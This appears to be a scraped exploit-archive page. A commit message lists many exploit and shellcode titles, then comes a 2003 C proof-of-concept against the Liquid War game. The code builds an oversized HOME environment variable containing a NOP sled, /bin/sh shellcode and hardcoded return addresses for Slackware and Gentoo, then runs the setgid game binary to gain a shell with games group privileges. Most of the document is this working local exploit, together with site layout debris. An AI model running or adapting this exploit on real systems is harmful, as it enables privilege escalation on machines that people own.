880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
64 lines
No EOL
2.1 KiB
C
64 lines
No EOL
2.1 KiB
C
// source: https://www.securityfocus.com/bid/8629/info
|
|
|
|
Liquid War has been reported prone to a buffer overflow condition when handling HOME environment variables of excessive length.
|
|
|
|
The issue presents itself, due to a lack of sufficient boundary checks performed on data contained in the HOME environment variable before it is copied into a reserved buffer in stack based memory. It has been reported that a local attacker may exploit this condition to execute arbitrary instructions with GID Games privileges.
|
|
|
|
/*
|
|
*
|
|
* http://www.rosiello.org
|
|
* (c) Rosiello Security
|
|
*
|
|
* Copyright Rosiello Security 2003
|
|
* All Rights reserved.
|
|
*
|
|
* Tested on Slakware 9.0.0 & Gentoo 1.4
|
|
*
|
|
* Author: Angelo Rosiello
|
|
* Mail : angelo@rosiello.org
|
|
* URL : http://ww.rosiello.org
|
|
*
|
|
* Greetz: Astharot by Zone-H who posted the stack overflow bug
|
|
*
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
|
|
/* /bin/sh */
|
|
static char shellcode[]=
|
|
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
|
|
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
|
|
|
|
#define NOP 0x90
|
|
#define LEN 520 //Buffer for Slackware 9.0.0
|
|
//#define LEN 528 //Buffer for Gentoo 1.4
|
|
#define RET 0xbffff414 //Valid Address for Slackware 9.0.0
|
|
//#define RET 0xbffff360 //Valid Address for Gentoo 1.4
|
|
|
|
int main()
|
|
{
|
|
char buffer[LEN];
|
|
long retaddr = RET;
|
|
int i;
|
|
|
|
|
|
fprintf(stderr, "\n(c) Rosiello Security 2003 - http://www.rosiello.org\n");
|
|
fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n");
|
|
fprintf(stderr, "by Angelo Rosiello - angelo@rosiello.org\n\n");
|
|
fprintf(stderr, "using address 0x%lx\n",retaddr);
|
|
|
|
for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr;
|
|
|
|
for (i=0;i<(LEN-strlen(shellcode)-50);i++) *(buffer+i) = NOP;
|
|
|
|
memcpy(buffer+i,shellcode,strlen(shellcode));
|
|
|
|
/* export the variable, run liquidwar */
|
|
|
|
setenv("HOME", buffer, 1);
|
|
execl("/usr/games/liquidwar","liquidwar",NULL);
|
|
|
|
return 0;
|
|
} |